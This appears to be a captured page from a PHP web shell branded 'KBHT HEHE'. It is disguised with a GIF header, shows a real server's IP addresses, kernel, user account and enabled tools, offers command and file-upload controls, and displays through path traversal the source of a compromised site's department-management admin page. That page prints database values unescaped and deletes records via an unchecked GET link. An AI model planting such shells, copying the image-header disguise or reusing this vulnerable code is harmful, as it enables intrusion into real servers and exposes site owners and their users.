GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 13.59.205.182
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/css/../admin/css/../global_assets/../notice/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/css/../admin/css/../global_assets/../notice/../department.php
<?php include 'header.php';?>
<?php
include("connection.php");
$query="select * from tbl_department";
$res=mysqli_query($dbCon,$query);
?>

	


<style>
    .clcl {
        font-size: 15pt;
        font-weight: bold;
        color: red;
    }
</style>

<div class="page-header page-header-light">

    <div class="breadcrumb-line breadcrumb-line-light header-elements-md-inline">
        <div class="d-flex">
            

            <a href="#" class="header-elements-toggle text-default d-md-none"><i class="icon-more"></i></a>
        </div>

    </div>
</div>
<!-- /page header -->
<div class="content">

    <!-- Main charts -->

    <div class="row">
        <div class="col-xl-12">

            <!-- Traffic sources -->
            <div class="card">
                <div class="card-header header-elements-inline">
                    <h5 class="card-title">Add Department</h5>
                    <h5 class="card-title" id="msg" style="color:orangered;"></h5>
                    <div class="header-elements">
                        <div class="list-icons">
                            <a class="list-icons-item" data-action="collapse"></a>
                            <a class="list-icons-item" data-action="reload" onclick="formrest()"></a>
                            
                        </div>
                    </div>
                </div>
                <form action="dept.php" method="post" enctype="multipart/form-data">
                    <div class="card-body">

                        <div class="form-group">
                            <div class="row">

                                <div class="col-md-4">
                                    <label>Department<span class="clcl"> *</span></label>
                                    <input type="text" class="form-control" placeholder="Enter Department" name="dept" required />
                                  
                                </div>
                                <div class="col-md-2">
                                    <label><span class="clcl">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span></label>
                                    
                                    <button type="submit" class="btn btn-primary">Add Department</button>
                                </div>

                            </div>
                        </div>
                       

                    </div>
                </form>

                <table class="table datatable-button-init-basic datatable-reorder">
                    <thead>
                        <tr>
                            <th>S.No.</th>
                            <th>Department</th>
                            <th>Added Date</th>
                            <th>Edit</th>
                            <th>Delete</th>
                        </tr>
                    </thead>
                    <tbody>
                    <?php
					$a=1;
					while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
					{
					?>
                        <tr>
                            <td><?php echo $a;$a++;?></td>
                            <td><?php echo $row['dept_name'];?></td>
                            <td><?php echo $row['date'];?></td>
                            <td><a href="#">Edit</a></td>
                            <td><a href="ddel.php?id=<?php echo $row['0'];?>">Delete</a></td>
							</tr>
				    <?php
					}
				    ?>           

                    </tbody>
                </table>
                <!-- /traffic sources -->
            </div>
        </div>


    </div>
    <!-- /main charts -->
    <!-- Dashboard content -->
    <!-- /dashboard content -->

</div>
<script>


    jQuery(document).ready(function () {

        jQuery("#msg").fadeIn("fast");
        jQuery("#msg").fadeOut(20000);
    });
</script>
<script>
    function deluser(p) {
        var id = jQuery(p).next().text();
       
        var status = confirm("Do you want to delete department?");
        if (status == true) {
            window.location.href = '../Admin/del_department?id=' + id;
        }
    }
</script>

	<?php include 'footer.php';?>

KBHT - 2023